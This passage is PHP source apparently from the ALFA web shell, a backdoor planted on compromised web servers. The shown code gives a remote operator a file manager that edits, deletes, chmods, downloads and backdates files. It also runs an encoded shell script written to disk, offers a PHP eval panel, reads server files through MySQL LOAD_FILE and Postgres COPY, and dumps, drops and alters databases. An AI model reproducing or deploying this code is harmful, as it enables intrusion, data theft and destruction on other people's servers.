if(!empty($_POST['alfa1'])){
if(in_array($_POST['alfa1'], array("copy", "move", "zip", "unzip"))){
__alfa_set_cookie('alfa_act', @$_POST['alfa1']);
__alfa_set_cookie('alfa_f', @serialize($_POST['f']));
__alfa_set_cookie('alfa_c', @$_POST['c']);
return;
}
}
break;
}
}
$dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
if(preg_match("#(.*)\/\.\.#", $_POST['c'], $res)){
$path = explode('/', $res[1]);
array_pop($path);
$_POST['c'] = implode('/', $path);
}
$cmd_dir = false;
if($dirContent === false){
if(_alfa_can_runCommand(true,true)){
$tmp_getdir_path = @$_COOKIE["alfachdir_bash_path"];
@chdir(dirname($_SERVER["SCRIPT_FILENAME"]));
if(!isset($_COOKIE["alfachdir_bash"])||@!file_exists($tmp_getdir_path."/alfacgiapi/getdir.alfa")){
$bash = "jZTfb5swEMef4a+4uaYkSmmS/YpEwsOkqVNfO+1hSqKKggnWwI4MEaFppL3vv9xfUtsYSKpMWh6I7/O9O9vcHVfvxrtCjJ8oGxep/fX+IcBT+/7ue4DdFXNtEqUc0BLZCRdAgTLAg6wALwQsfYdziLkN8rcNyzRAio0xRRrRBJZLwBSCANDtLYLra/D2Mr5KaZSCIGGcUfZrCOv1HMqUMB3VJcOD1gO8BLBiw86DBhpoO6G2RVnCZURRhiV4ESDnznd++M433yl856c/cULf+YLaLJa6n+u7+gzgCXWdUIiwhsViAQirbMi2ynpLAnzQynKyPurdeMWI6OjU0I3gu21H30tqFfS5j/6gSM5jmtQd+2hit0TkbJd3/NMJT3d5yDrls1EYqR571XWb1yALNBgApcFkLp8LfLjqfI6KjEYw7Av2JstIFu/QWT6m1J8e//7+05Qy5oy8PdNZuKxAU21zGV3zyXQ2m6G+vJbVXhVNlGJAkw/FQm5X7eVDVPKxF5V00LXVmb1KFkaVTyVUraSYOGFnm0Q84yJAeUjZ40YQwvRRZUKSmXT/FSo7tSR9aEEu+AgStx79abHqHf0SYipIVHJRn22kW0tpJ0fqYwTZ7LJQyM7OiL7uy8tlB5Jvy/rfbkWdP/GMRqCm6ML+OrA5tp7zwwqxMCcr5MNKTsEK3ch/5WpIs1RQT4GhZq2wHgODzVphNQqGNksFm2kwuDWUYJrEKJ3VSrpdTkRjt7IuzYls7OONrZu4+Z4djmv0Cg==";
$tmp_getdir_path = alfaWriteTocgiapi("getdir.alfa",$bash);
__alfa_set_cookie("alfachdir_bash", "true");
__alfa_set_cookie("alfachdir_bash_path", $tmp_getdir_path);
}
$dirContent = alfaEx("cd ".$tmp_getdir_path."/alfacgiapi;sh getdir.alfa '".addslashes(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd'])."'");
$dirContent = json_decode($dirContent, true);
if(is_array($dirContent)){
array_pop($dirContent);
$cmd_dir = true;
}else{
$dirContent = false;
}
}
}
alfahead();
AlfaNum(8,9,10,7,6,5,4);
$count_dirContent = @count($dirContent);
if($count_dirContent > 300){
@$_COOKIE["alfa_limited_files"] = 100;
}
$alfa_sort_by = isset($_COOKIE["alfa_sort_by"]) ? $_COOKIE["alfa_sort_by"] : 'name';
$alfa_limited_files = isset($_COOKIE["alfa_limited_files"]) ? (int)$_COOKIE["alfa_limited_files"] : 0;
$alfa_files_page_number = isset($_POST["pagenum"]) ? (int)$_POST["pagenum"] : 1;
$alfa_filesman_direction = isset($_COOKIE["alfa_filesman_direction"]) ? $_COOKIE["alfa_filesman_direction"] : 'asc';
$files_page_count = 1;
if($alfa_limited_files > 0){
$files_page_count = ceil($count_dirContent/$alfa_limited_files);
if($files_page_count > 1){
$files_page_count++;
}
}
echo 'Filter: Sort By: Name Size Modify Direction: Ascending Descending limit: Files Count: '.($count_dirContent-1).'
';
alfaFooter();
return;
}
global $sort;
$sort = array('name', 1);
if(isset($_COOKIE["alfa_sort_by"]) && !empty($_COOKIE["alfa_sort_by"])){
$sort[0] = $_COOKIE["alfa_sort_by"];
}
if(!empty($_POST['alfa1'])) {
if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['alfa1'], $match))
$sort = array($match[1], (int)$match[2]);
}
if($alfa_files_page_number > ($files_page_count-1)){
$alfa_files_page_number = 1;
}
$checkbox_rand = rand(11111, 99999);
echo "
Name Size Modify Owner/Group Permissions Actions ";
$dirs = $files = array();
$n = $count_dirContent;
if($n > $alfa_limited_files && $alfa_limited_files > 0){
$n = ($alfa_limited_files * $alfa_files_page_number);
if($n > $count_dirContent){
$n = $count_dirContent;
}
}
$i = 0;
if($alfa_limited_files > 0 && $alfa_files_page_number > 1){
$i = $alfa_limited_files * ($alfa_files_page_number - 1);
}
$page_builder = get_pagination_links($alfa_files_page_number,$files_page_count -1);
$cmd_dir_backp = "";
for(;$i<$n;$i++){
if($cmd_dir){
$filename = $dirContent[$i]["name"];
$file_owner = $dirContent[$i]["owner"];
$file_group = $dirContent[$i]["group"];
$file_modify = @date('Y-m-d H:i:s', $dirContent[$i]["modify"]);
$file_perm = alfaPermsColor(array("class"=>$dirContent[$i]["permcolor"],"num"=>$dirContent[$i]["permnum"],"human"=>$dirContent[$i]["permhuman"]),true);
$file_size = $dirContent[$i]["size"];
if(substr($dirContent[$i]["name"], 0 ,1) == "/"){
$file_path = $dirContent[$i]["name"];
$dirContent[$i]["name"] = "..";
$filename = $dirContent[$i]["name"];
}else{
$file_path = $GLOBALS['cwd']."/".$dirContent[$i]["name"];
}
}else{
$filename = $dirContent[$i];
$ow = function_exists("posix_getpwuid")&&function_exists("fileowner")?@posix_getpwuid(@fileowner($GLOBALS['cwd'].$filename)):array("name" => "????");
$gr = function_exists("posix_getgrgid")&&function_exists("filegroup")?@posix_getgrgid(@filegroup($GLOBALS['cwd'].$filename)):array("name" => "????");
$file_owner = $ow['name']?$ow['name']:(function_exists("fileowner")?@fileowner($GLOBALS['cwd'].$filename):"????");
$file_group = $gr['name']?$gr['name']:(function_exists("filegroup")?@filegroup($GLOBALS['cwd'].$filename):"????");
$file_modify = @date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $filename));
$file_perm = alfaPermsColor($GLOBALS['cwd'].$filename);
$file_size = @filesize($GLOBALS['cwd'].$filename);
$file_path = $GLOBALS['cwd'].$filename;
}
$tmp = array('name' => $filename,
'path' => $file_path,
'modify' => $file_modify,
'perms' => $file_perm,
'size' => $file_size,
'owner' => $file_owner,
'group' => $file_group
);
if($filename == ".." && !$cmd_dir){
$tmp["path"] = str_replace("\\", "/", realpath($file_path));
}
if(!$cmd_dir){
if(@is_file($file_path)){
$arr_mrg = array('type' => 'file');
if(@is_link($file_path)){
$arr_mrg["link"] = readlink($tmp['path']);
}
$files[] = array_merge($tmp, $arr_mrg);
}elseif(@is_link($file_path)){
$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
}elseif(@is_dir($file_path)&& ($filename != ".")){
$dirs[] = array_merge($tmp, array('type' => 'dir'));
}
}else{
if($dirContent[$i]["type"]=="file"){
$files[] = array_merge($tmp, array('type' => 'file'));
}else{
if($dirContent[$i]["name"] != "."){
$dirs[] = array_merge($tmp, array('type' => 'dir'));
}
}
}
}
$GLOBALS['sort'] = $sort;
function alfaCmp($a, $b) {
if($GLOBALS['sort'][0] != 'size')
return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
else
return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
}
usort($files, "alfaCmp");
usort($dirs, "alfaCmp");
if(isset($_COOKIE["alfa_filesman_direction"])&& !empty($_COOKIE["alfa_filesman_direction"])){
if($_COOKIE["alfa_filesman_direction"] == 'desc'){
$files = array_reverse($files);
$dirs = array_reverse($dirs);
}
}
$files = array_merge($dirs, $files);
$l=0;
$cc=0;
foreach($files as $f){
$f['name'] = htmlspecialchars($f['name']);
$newname = mb_strlen($f['name'], 'UTF-8')>60?mb_substr($f['name'], 0, 60, 'utf-8').'...':$f['name'];
$checkbox = 'checkbox_'.$checkbox_rand.$cc;
$raw_name = rawurlencode($f['name']);
$icon = $GLOBALS['DB_NAME']['show_icons']?' ':'';
$style = $GLOBALS['DB_NAME']['show_icons']?'position:relative;display:inline-block;bottom:12px;':'';
echo '
'.$icon.' '.(($f['type']=='file')?(isset($f['link'])?'[L] ':'').alfaSize($f['size']):$f['type']).' '.$f['modify'].' '.$f['owner'].'/'.$f['group'].' '.
$f['perms'].' R T '.(($f['type']=='file')?' E D ':'').' X ';
$l = $l?0:1;
$cc++;
}
echo "
Copy Move Delete Add 2 Compress (zip) Add 2 Uncompress (zip) Paste / Zip / Unzip
";
alfafooter();
}
function get_pagination_links($current_page, $total_pages){
$links = "";
if ($total_pages >= 1 && $current_page <= $total_pages) {
$links .= "<< ";
$selected_page = "";
if($current_page == 1){
$selected_page = " active-page-number";
}
$links .= "1 ";
$i = max(2, $current_page - 5);
if ($i > 2)
$links .= "... ";
for (; $i < min($current_page + 6, $total_pages); $i++) {
if($i == $current_page){
$selected_page = " active-page-number";
}else{
$selected_page = "";
}
$links .= "{$i} ";
}
if ($i != $total_pages)
$links .= "... ";
$selected_page = " last-page-number";
if($current_page == $total_pages){
$selected_page .= " active-page-number";
}
$links .= "{$total_pages} ";
$links .= ">> ";
}
return $links;
}
function alfaFilesTools(){
alfahead();
echo '";
alfaFooter();
return;
}
if($chdir_fals){
$filesize = $file_info[3];
$uid["name"] = $file_info[1];
$gid["name"] = $file_info[2];
$permcolor = alfaPermsColor(array("class"=>$perm_color_class,"num"=>$file_info[5],"human"=>$file_info[6]),true);
}else{
$uid = function_exists("posix_getpwuid")&&function_exists("fileowner")?@posix_getpwuid(@fileowner($_POST['alfa1'])):'';
$gid = function_exists("posix_getgrgid")&&function_exists("filegroup")?@posix_getgrgid(@filegroup($_POST['alfa1'])):'';
if(!$uid&&!$gid){
$uid['name'] = function_exists("fileowner")?@fileowner($_POST['alfa1']):'';
$gid['name'] = function_exists("filegroup")?@filegroup($_POST['alfa1']):'';
}
$permcolor = alfaPermsColor($_POST['alfa1']);
$filesize = @filesize($_POST['alfa1']);
if(!isset($uid['name'],$gid['name'])||empty($uid['name'])||empty($gid['name'])){
if(_alfa_can_runCommand()){
list($uid['name'],$gid['name']) = explode(":", alfaEx('stat -c "%U:%G" "'.addslashes($_POST["c"]."/".$_POST["alfa1"]).'"'));
}
}
}
if(substr($_POST['alfa1'], 0, 7) == "phar://"){
$alfa_file_directory = $_POST['alfa1'];
}else{
$alfa_file_directory = str_replace("//", "/",($chdir_fals?"":$_POST['c'].'/').$_POST['alfa1']);
}
echo 'Name: '.htmlspecialchars(basename($alfa1_decoded)).' Size: '.alfaSize($filesize).' Permission: '.$permcolor.' Owner/Group: '.$uid['name'].'/'.$gid['name'].' Directory: '.dirname($alfa_file_directory).'
';
if(empty($_POST['alfa2']))$_POST['alfa2'] = 'view';
if(!_alfa_is_dir($_POST['alfa1'])){
$m = array('View', 'Download', 'Highlight', 'Chmod', 'Rename', 'Touch', 'Delete', 'Image', 'Hexdump');
$ftype = "file";
}else{
$m = array('Chmod', 'Rename', 'Touch');
$ftype = "dir";
}
echo('';
switch($_POST['alfa2']){
case 'view':case 'edit':
@chdir($_POST['c']);
$disabled_btn = "";
if(!@is_writable($_POST['alfa1'])&&!_alfa_is_writable($_POST['alfa1'])){
$disabled_btn = "disabled=disabled";
$disabled_btn_style= 'background: #ff0000;color: #fff;';
}
if(!empty($_POST['alfa3'])){
$_POST['alfa3'] = substr($_POST['alfa3'],1);
$time = @filemtime($_POST['alfa1']);
$fp = @__write_file($_POST['alfa1'],$_POST['alfa3']);
if($chdir_fals&&$alfa_canruncmd){
$rname = $alfa1_decoded;
$randname = $rname.rand(111,9999);
$filepath = dirname($_SERVER["SCRIPT_FILENAME"])."/".$randname;
if($fp = @__write_file($filepath ,$_POST['alfa3'])){
alfaEx("mv '".addslashes($filepath)."' '".addslashes($_POST["alfa1"])."';rm -f '".addslashes($filepath)."'");
}
}
if($fp){
echo 'Saved! ';
@touch($_POST['alfa1'],$time,$time);
}
}
echo ''._alfa_load_ace_options("editor").'Copy Full Screen save
';
echo htmlspecialchars(__read_file($_POST['alfa1']));
echo ' ';
break;
case 'highlight':
@chdir($_POST['c']);
if(@is_readable($_POST['alfa1'])){
echo '';
$code = @highlight_file($_POST['alfa1'],true);
echo str_replace(array(''), array(''),$code).'
';
}
break;
case 'delete':
@chdir($_POST['c']);
if(@is_writable($_POST['alfa1'])||$GLOBALS["glob_chdir_false"]){
$deleted = true;
if(!@unlink($_POST['alfa1'])){
$deleted = false;
if($alfa_canruncmd){
if(_alfa_is_writable($_POST['alfa1'])){
alfaEx("rm -f '".addslashes($_POST['alfa1'])."'");
$deleted = true;
}
}
}
if($deleted)echo 'File Deleted...';else echo 'Error...';}
break;
case 'chmod':
@chdir($_POST['c']);
if(!empty($_POST['alfa3'])){
$perms = 0;
for($i=strlen($_POST['alfa3'])-1;$i>=0;--$i)
$perms += (int)$_POST['alfa3'][$i]*pow(8, (strlen($_POST['alfa3'])-$i-1));
if(!@chmod($_POST['alfa1'], $perms)){
if($chdir_fals&&$alfa_canruncmd){
alfaEx("cd '".addslashes($_POST["c"])."';chmod ".addslashes($_POST['alfa3'])." '".addslashes($alfa1_decoded)."'");
echo('Success!');
}else{
echo 'Can\'t set permissions! ';}
}else{echo('Success!');}
}
clearstatcache();
AlfaNum(8,9,10,7,6,5,4,2,1);
if($chdir_fals){
$file_perm = $file_info[5];
}else{
$file_perm = substr(sprintf('%o', @fileperms($_POST['alfa1'])),-4);
}
echo ' ';
break;
case 'hexdump':
@chdir($_POST['c']);
$c = __read_file($_POST['alfa1']);
$n = 0;
$h = array('00000000 ','','');
$len = strlen($c);
for ($i=0; $i<$len; ++$i) {
$h[1] .= sprintf('%02X',ord($c[$i])).' ';
switch ( ord($c[$i]) ) {
case 0: $h[2] .= ' '; break;
case 9: $h[2] .= ' '; break;
case 10: $h[2] .= ' '; break;
case 13: $h[2] .= ' '; break;
default: $h[2] .= $c[$i]; break;
}
$n++;
if ($n == 32) {
$n = 0;
if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).' ';}
$h[1] .= ' ';
$h[2] .= "\n";
}
}
echo ''.$h[0].' '.$h[1].' '.htmlspecialchars($h[2]).'
';
break;
case 'rename':
@chdir($_POST['c']);
$alfa1_escape = addslashes($_POST["alfa1"]);
$alfa3_escape = addslashes($_POST["alfa3"]);
if(!empty($_POST['alfa3'])){
$cmd_rename = false;
if($chdir_fals&&$alfa_canruncmd){
if(_alfa_is_writable($_POST['alfa1'])){
$alfa1_escape = addslashes($alfa1_decoded);
alfaEx("cd '".addslashes($_POST['c'])."';mv '".$alfa1_escape."' '".addslashes($_POST['alfa3'])."'");
}else{
$cmd_rename = true;
}
}else{
$alfa1_escape = addslashes($_POST["alfa1"]);
}
if(!@rename($_POST['alfa1'], $_POST['alfa3'])&&$cmd_rename){
echo 'Can\'t rename! ';}else{echo('Renamed!');$alfa1_escape = $alfa3_escape;}
}
echo ' ';
break;
case 'touch':
@chdir($_POST['c']);
if( !empty($_POST['alfa3']) ) {
$time = strtotime($_POST['alfa3']);
if($time){
$touched = false;
if($chdir_fals&&$alfa_canruncmd){
alfaEx("cd '".addslashes($_POST["c"])."';touch -d '".htmlspecialchars(addslashes($_POST['alfa3']))."' '".addslashes($alfa1_decoded)."'");
$touched = true;
}
if(!@touch($_POST['alfa1'],$time,$time)&&!$touched)
echo 'Fail!';
else
echo 'Touched!';
} else echo 'Bad time format!';
}
clearstatcache();
echo ' ';
break;
case 'image':
@chdir($_POST['c']);
echo(' ');
$file = $_POST['alfa1'];
$image_info = @getimagesize($file);
if(is_array($image_info)||$chdir_fals){
$width = (int)$image_info[0];
$height = (int)$image_info[1];
if($chdir_fals&&$alfa_canruncmd){
$source = alfaEx("cat '".addslashes($file)."' | base64");
list($width, $height) = explode(":", alfaEx("identify -format '%w:%h' '".addslashes($file)."'"));
$mime = explode(":", alfaEx("file --mime-type '".addslashes($file)."'"));
$image_info['mime'] = $mime[1];
}else{
$source = __ZW5jb2Rlcg(__read_file($file, false));
}
$image_info_h = "Image type = [ ".$image_info['mime']." ] Image Size = [ ".$width." x ".$height." ] ";
if($width > 800){$width = 800;}
echo $content = "".$image_info_h." ";
}
break;
}
echo '';
alfaFooter();
}
function findicon($file,$type){
$s = 'http://solevisible.com/icons/';
$types = array('json','ppt','pptx','xls','xlsx','msi','config','cgi','pm','c','cpp','cs','java','aspx','asp','db','ttf','eot','woff','woff2','woff','conf','log','apk','cab','bz2','tgz','dmg','izo','jar','7z','iso','rar','bat','sh','alfa','gz','tar','php','php4','php5','phtml','html','xhtml','shtml','htm','zip','png','jpg','jpeg','gif','bmp','ico','txt','js','rb','py','xml','css','sql','htaccess','pl','ini','dll','exe','mp3','mp4','m4a','mov','flv','swf','mkv','avi','wmv','mpg','mpeg','dat','pdf','3gp','doc','docx','docm');
if($type!='file'){
return ($file=='..'?$s.'back.png':$s.'folder.png');
}else{
$ext = explode('.',$file);
$ext = end($ext);
$ext = strtolower($ext);
return (in_array($ext,$types)?$s.$ext.'.png':$s.'notfound.png');
}
}
function alfadlfile(){
if(isset($_POST['c'],$_POST['file'])){
$basename = rawurldecode(basename($_POST['file']));
$_POST['file'] = str_replace("//", "/", $_POST['c'].'/'.$basename);
$alfa_canruncmd = _alfa_can_runCommand(true,true);
if(@is_file($_POST['file']) && @is_readable($_POST['file']) || $alfa_canruncmd){
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=\"".addslashes($basename)."\"");
header("Content-Type: application/octet-stream");
if($GLOBALS["glob_chdir_false"]){
$randname = $basename.rand(111,9999);
$scriptpath = dirname($_SERVER["SCRIPT_FILENAME"]);
$filepath = $scriptpath."/".$randname;
if(_alfa_is_writable($scriptpath)){
alfaEx("cp '".addslashes($_POST["file"])."' '".addslashes($filepath)."'");
readfile($filepath);
@unlink($filepath);
}else{
alfaEx("cat '".addslashes($_POST["file"])."'");
}
}else{
readfile($_POST['file']);
}
}else echo('Error...!');}}
function __alfa_set_cookie($key, $value){
$_COOKIE[$key] = $value;
@setcookie($key, $value, time()+(86400 * 7), '/');
}
function alfaphpeval(){
if(isset($_COOKIE["eval_tmpdir"])&&@is_dir($_COOKIE["eval_tmpdir"])){
$tempdir = __ZGVjb2Rlcg($_COOKIE["eval_tmpdir"]);
}else{
$tempdir = dirname(alfaEx("mktemp"));
__alfa_set_cookie("eval_tmpdir", __ZW5jb2Rlcg($tempdir));
}
alfahead();
if(isset($_POST['alfa2']) && ($_POST['alfa2'] == 'ini')){
echo '";
alfafooter();
}
function alfasql(){
class DbClass{
public $type;
public $link;
public $res;
public $mysqli_connect_error = false;
public $mysqli_connect_error_msg = "";
function __construct($type){
$this->type = $type;
}
function connect($host, $user, $pass, $dbname){
switch($this->type){
case 'mysql':
if($this->link = @mysqli_connect($host,$user,$pass,$dbname)){
return true;
}else{
$this->mysqli_connect_error = true;
$this->mysqli_connect_error_msg = mysqli_connect_error();
return false;
}
break;
case 'pgsql':
$host = explode(':', $host);
if(!$host[1]) $host[1]=5432;
if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
break;
}
return false;
}
function selectdb($db){
switch($this->type){
case 'mysql':
if(@mysqli_select_db($db))return true;
break;
}
return false;
}
function query($str){
switch($this->type){
case 'mysql':
return $this->res = @mysqli_query($this->link,$str);
break;
case 'pgsql':
return $this->res = @pg_query($this->link,$str);
break;
}
return false;
}
function fetch(){
$res = func_num_args()?func_get_arg(0):$this->res;
switch($this->type){
case 'mysql':
return @mysqli_fetch_assoc($res);
break;
case 'pgsql':
return @pg_fetch_assoc($res);
break;
}
return false;
}
function listDbs(){
switch($this->type){
case 'mysql':
return $this->query("SHOW databases");
break;
case 'pgsql':
return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
break;
}
return false;
}
function listTables(){
switch($this->type){
case 'mysql':
return $this->res = $this->query('SHOW TABLES');
break;
case 'pgsql':
return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
break;
}
return false;
}
function error(){
switch($this->type){
case 'mysql':
return @mysqli_error($this->link);
break;
case 'pgsql':
return @pg_last_error();
break;
}
return false;
}
function setCharset($str){
switch($this->type){
case 'mysql':
if(function_exists('mysql_set_charset'))
return @mysqli_set_charset($this->link,$str);
else
$this->query('SET CHARSET '.$str);
break;
case 'pgsql':
return @pg_set_client_encoding($this->link, $str);
break;
}
return false;
}
function loadFile($str){
switch($this->type){
case 'mysql':
return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
break;
case 'pgsql':
$this->query("CREATE TABLE solevisible(file text);COPY solevisible FROM '".addslashes($str)."';select file from solevisible;");
$r=array();
while($i=$this->fetch())
$r[] = $i['file'];
$this->query('drop table solevisible');
return array('file'=>implode("\n",$r));
break;
}
return false;
}
};
$db = new DbClass($_POST['type']);
alfahead();
$form_visibility = "table";
if(isset($_POST['sql_host'])){
$connection_db = $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
if($connection_db && !empty($_POST['sql_base'])){
$form_visibility = "none";
}
}
$database_list = array();
echo "
";
}
echo "
";
echo "";
}else{
echo htmlspecialchars($db->error());
}
echo '';
alfafooter();
}
function alfaSql_manager_api(){
$db = $_POST["alfa1"];
$type = $_POST["alfa2"];
$sql_count = $_POST["alfa3"] == "true" ? true : false;
$db = @json_decode($db, true);
$conn = @mysqli_connect($db["host"], $db["user"], $db["pass"], $db["db"]);
@mysqli_set_charset($conn, "utf8");
if($conn){
if($type == "load_all_tables"){
$tables = array();
$q_tables = @mysqli_query($conn, "SELECT `table_schema`, `table_name` FROM `information_schema`.`tables` WHERE `table_schema` IN ('".implode("','", $db["databases"])."');");
$count = 0;
while($row = @mysqli_fetch_assoc($q_tables)){
if($sql_count){
$count_q = @mysqli_query($conn, 'SELECT COUNT(*) FROM `'.$row["table_schema"].'`.`'.$row["table_name"].'`');
if($count_q){
$count = @mysqli_fetch_row($count_q);
$count = $count[0];
}
}
$tables[$row["table_schema"]][] = array("name" => $row["table_name"], "count" => (int)$count);
}
foreach($db["databases"] as $db){
if(!isset($tables[$db])){
$tables[$db] = null;
}
}
echo @json_encode($tables);
}elseif($type == "dump_drop"){
if($db["mode"] == "drop"){
foreach ($db["tables"] as $table) {
@mysqli_query($conn, "DROP TABLE `".$table."`;");
}
$tables = array();
$q_tables = @mysqli_query($conn, "SHOW TABLES;");
$count = 0;
while($row = @mysqli_fetch_array($q_tables)){
if($sql_count){
$count_q = @mysqli_query($conn, 'SELECT COUNT(*) FROM `'.$row[0].'`');
if($count_q){
$count = @mysqli_fetch_row($count_q);
$count = $count[0];
}
}
$tables[] = array("name" => $row[0], "count" => (int)$count);
}
echo @json_encode($tables);
}else{
if(strlen(alfaEx("mysqldump"))>0){
alfaEx("mysqldump --single-transaction --host=\"".$db["host"]."\" --user=\"".$db["user"]."\" --password=\"".$db["pass"]."\" ".$db["db"]." ".implode(" ", $db["tables"])." > ".$db["dump_file"]);
}else{
$fp = @fopen($db["dump_file"], "w");
foreach ($db["tables"] as $table) {
$res = @mysqli_query($conn, 'SHOW CREATE TABLE `'.$table.'`');
$create = @mysqli_fetch_array($res);
$sql = "DROP TABLE IF EXISTS `".$table."`;\n" . $create[1].";\n";
if($fp) fwrite($fp, $sql); else echo($sql);
$tbl_data = @mysqli_query($conn, 'SELECT * FROM `'.$table.'`');
$head = true;
while($item = @mysqli_fetch_assoc($tbl_data)){
$columns = array();
foreach($item as $k=>$v) {
if($v == null)
$item[$k] = "''";
elseif(is_numeric($v))
$item[$k] = $v;
else
$item[$k] = "'".@mysqli_real_escape_string($conn, $v)."'";
$columns[] = "`".$k."`";
}
if($head) {
$sql = 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
$head = false;
} else
$sql = "\n\t,(".implode(", ", $item).')';
if($fp) fwrite($fp, $sql); else echo($sql);
}
if(!$head)
if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
}
}
echo @json_encode(array("status" => true, "file" => $db["dump_file"]));
}
}elseif($type == "load_tables"){
$tables = array();
$q_tables = @mysqli_query($conn, "SHOW TABLES;");
$count = 0;
while($row = @mysqli_fetch_array($q_tables)){
if($sql_count){
$count_q = @mysqli_query($conn, 'SELECT COUNT(*) FROM `'.$row[0].'`');
if($count_q){
$count = @mysqli_fetch_row($count_q);
$count = $count[0];
}
}
$tables[] = array("name" => $row[0], "count" => (int)$count);
}
echo @json_encode($tables);
}elseif($type == "alter"){
$db["alter"]["type"] = strtolower($db["alter"]["type"]);
$inputs = $db["alter"]["type"]."(".$db["alter"]["input"].")";
$text_input = array("longtext", "text", "mediumtext", "tinytext");
if(in_array($db["alter"]["type"], $text_input)){
$inputs = $db["alter"]["type"];
}
@mysqli_query($conn, "ALTER TABLE `".$db["table"]."` MODIFY COLUMN `".$db["column"]."` " . $inputs);
$error = @mysqli_error($conn);
if($error){
echo $error;
}else{
echo "ok";
}
}elseif($type == "edit" || $type == "delete" || $type == "delete_all"){
if($type == "edit"){
$q = @mysqli_query($conn, "SELECT * FROM `".$db["db"]."`.`".$db["table"]."` WHERE `".$db["col_key"]."` = '".addslashes($db["key"])."' LIMIT 0,1");
$row = @mysqli_fetch_assoc($q);
if($row){
$columns_query = @mysqli_query($conn, "SELECT COLUMN_NAME as name, COLUMN_TYPE, DATA_TYPE as type FROM information_schema.columns WHERE `TABLE_SCHEMA` = '".$db["db"]."' AND `TABLE_NAME` = '".$db["table"]."'");
$columns = array();
$edit_data = array();
while($row2 = @mysqli_fetch_array($columns_query, MYSQLI_ASSOC)){
$input = array("col_type" => $row2["COLUMN_TYPE"]);
$row2["type"] = strtolower($row2["type"]);
switch($row2["type"]){
case "longtext": case "text": case "mediumtext": case "tinytext":
$input["tag"] = "textarea";
break;
case "int": case "smallint": case "bigint": case "tinyint": case "mediumint":
$input["tag"] = "input";
$input["type"] = "number";
break;
default:
$input["tag"] = "input";
$input["type"] = "text";
}
$columns[$row2["name"]] = $input;
}
foreach($row as $key => $v){
$edit_data[] = array("col" => $key, "value" => htmlspecialchars($v, ENT_QUOTES, 'UTF-8'), "type" => $columns[$key]);
}
echo @json_encode($edit_data);
}
}else{
if($type == "delete_all"){
$rows = implode("', '", $db["rows"]);
}else{
$rows = addslashes($db["key"]);
}
$query = "DELETE FROM `".$db["db"]."`.`".$db["table"]."` WHERE `".$db["col_key"]."` IN ('".$rows."')";
@mysqli_query($conn, $query);
$error = @mysqli_error($conn);
if($error){
$status = false;
}else{
$status = true;
}
echo @json_encode(array("status" => $status, "error" => $error, "query" => $query));
}
}elseif($type == "update"){
$query = "UPDATE `".$db["db"]."`.`".$db["table"]."` SET ";
foreach($db["data"] as $col => $val){
$query .= "`".$col."` = '".mysqli_real_escape_string($conn, $val)."',";
}
$query = substr($query, 0, -1);
$query .= "WHERE `".$db["col_key"]."` = '".$db["key"]."'";
$res = @mysqli_query($conn, $query);
echo @json_encode(array("status" => $res, "error" => @mysqli_error($conn)));
}elseif($type == "insert"){
$query = "INSERT INTO `".$db["db"]."`.`".$db["table"]."` ";
foreach($db["data"] as $col => $val){
$cols .= $col . ",";
$vals .= "'".mysqli_real_escape_string($conn, $val)."',";
}
$cols = substr($cols, 0, -1);
$vals = substr($vals, 0, -1);
$query = $query . "(" . $cols . ")" . "VALUES(" . $vals . ")";
$res = @mysqli_query($conn, $query);
echo @json_encode(array("status" => $res, "error" => @mysqli_error($conn)));
}else{
$pages = 0;
$title = false;
$query = "";
$tbl_content = '';
$line = 0;
$tables = array();
$columns = array();
if($type == "load_data"){
$query = "SELECT * FROM `".$db["db"]."`.`".$db["table"]."` LIMIT 0,30";
$tbl_count_q = @mysqli_query($conn, "SELECT COUNT(*) FROM `".$db["db"]."`.`".$db["table"]."`");
$tbl_count = @mysqli_fetch_row($tbl_count_q);
$columns_query = @mysqli_query($conn, "SELECT COLUMN_NAME as name, COLUMN_TYPE as type, COLLATION_NAME as collation, DATA_TYPE as data_type, CHARACTER_MAXIMUM_LENGTH as type_value FROM information_schema.columns WHERE `TABLE_SCHEMA` = '".$db["db"]."' AND `TABLE_NAME` = '".$db["table"]."'");
while($row2 = @mysqli_fetch_array($columns_query, MYSQLI_ASSOC)){
$columns[] = $row2;
}
if($tbl_count[0] > 30){
$pages = ceil($tbl_count[0] / 30);
}
}elseif($type == "query"){
$query = $db["query"];
}elseif($type == "page"){
$db["page"] = (int)$db["page"] - 1;
$query = "SELECT * FROM `".$db["db"]."`.`".$db["table"]."` LIMIT ".($db["page"]*30).",30";
}elseif($type == "search"){
$search = "";
$search_noval = array("= ''", "!= ''", "IS NULL", "IS NOT NULL");
foreach($db["search"] as $col => $val){
$search_noval_r = in_array($val["opt"], $search_noval);
if(empty($val["value"]) && !$search_noval_r)continue;
if(strstr($val["opt"], "...") || $search_noval_r){
$val["opt"] = str_replace("...", $val["value"], $val["opt"]);
$search .= $col . " " . $val["opt"] . " AND ";
}else{
$search .= $col . " " . $val["opt"] . " '".addslashes($val["value"])."' AND ";
}
}
$search .= "1=1";
$query = "SELECT * FROM `".$db["db"]."`.`".$db["table"]."` WHERE " . $search;
}
$q_tables = @mysqli_query($conn, $query);
if(!$q_tables){
echo @json_encode(array("status" => false, "error" => @mysqli_error($conn), "query" => $query));
return false;
}
